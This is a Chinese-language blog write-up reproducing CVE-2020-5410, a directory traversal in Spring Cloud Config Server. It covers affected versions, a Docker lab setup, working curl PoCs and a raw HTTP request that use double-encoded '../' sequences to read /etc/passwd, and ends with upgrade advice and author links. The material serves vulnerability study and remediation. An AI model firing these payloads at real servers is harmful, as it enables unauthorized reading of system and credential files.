
Spring Cloud Config 目錄穿越漏洞
(CVE-2020-5410)
一、漏洞簡介
Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及較舊的不受支持的版本允許應用程序通過spring-cloud-config-server模塊提供任意配置文件。惡意用戶或攻擊者可以使用特制URL發送請求,這可能導致目錄遍歷攻擊。
二、影響版本
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
三、漏洞環境&漏洞復現
PoC:
curl "vulnerablemachine:port/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
curl "127.0.0.1:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
docker環境部署:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE

docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo

訪問地址:http://192.168.0.110:8888/

執行POC:
curl "192.168.0.110:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

Burp執行訪問:

詳細數據包:
GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1
Host: 192.168.0.110:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
系統執行訪問記錄:

四、修復建議:
升級到 Spring Cloud Config 至2.2.3版本或2.1.9版本,並且將Spring-Cloud-Config-Server服務放置在內網中,同時使用Spring Security進行身份驗證。最新版本下載地址為:https://github.com/spring-cloud/spring-cloud-config/releases
參考:
https://github.com/osamahamad/CVE-2020-5410-POC
https://xz.aliyun.com/t/7877
https://blog.csdn.net/wanzt123/article/details/106765503
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
訂閱查看更多復現文章、學習筆記
thelostworld
安全路上,與你並肩前行!!!!

個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
個人簡書:https://www.jianshu.com/u/bf0e38a8d400
個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
個人博客園:https://www.cnblogs.com/thelostworld/
FREEBUF主頁:https://www.freebuf.com/author/thelostworld?type=article
雀語博客主頁:https://www.yuque.com/thelostworld

歡迎添加本公眾號作者微信交流,添加時備注一下“公眾號”

2021近期往期內容: